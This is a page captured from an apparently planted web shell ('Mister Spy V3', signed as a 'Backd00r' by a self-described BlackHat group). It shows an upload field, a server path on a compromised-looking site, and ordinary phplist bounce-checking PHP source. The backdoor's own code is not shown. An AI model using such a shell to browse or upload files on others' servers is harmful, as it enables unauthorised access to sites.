Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/phplist/lists/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/phplist/lists/admin/checkbouncerules.php

<?php
require_once dirname(__FILE__).'/accesscheck.php';

ob_end_flush();
$limit = ' limit 100';
$numperrun = 500;
$bouncerules = loadBounceRules();

$req = Sql_Fetch_Row_query(sprintf('select count(*) from %s  where comment != "not processed"',$GLOBALS['tables']['bounce']));
$total = $req[0];
if (isset($_GET['s'])) {
  $s = sprintf('%d',$_GET['s']);
  $e = $s + $numperrun;
} else {
  $s = 0;
  $e = $numperrun;
}
$limit = ' limit '.$s.', '.$numperrun;

if ($total > $numperrun && $e < $total) {
  $next = '<p class="button">'.PageLink2('checkbouncerules&s='.$e,sprintf($GLOBALS['I18N']->get('Process Next %d'),$numperrun)).'</p>';
} else {
  $next = '';
}

$unmatched = 0;
$matched = 0;
$req = Sql_Query(sprintf('select * from %s where comment != "not processed" %s',$GLOBALS['tables']['bounce'],$limit));
while ($row = Sql_Fetch_Array($req)) {
  $action = matchBounceRules($row['data'],$bouncerules);
  if ($action) {
  #  print $row['comment']. " Match: $action<br/>";
    $matched++;
  } else {
    $unmatched++;
    print $GLOBALS['I18N']->get('No match').': '.$row['id'].' '.PageLink2("bounce&amp;id=".$row['id'],$row['comment']).'<br/>';
  }
  flush();
}

print '<br/>'.$unmatched.' '.$GLOBALS['I18N']->get('bounces did not match any current active rule');
print '<br/>'.$matched.' '.$GLOBALS['I18N']->get('bounce matched current active rules');
print $next;

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat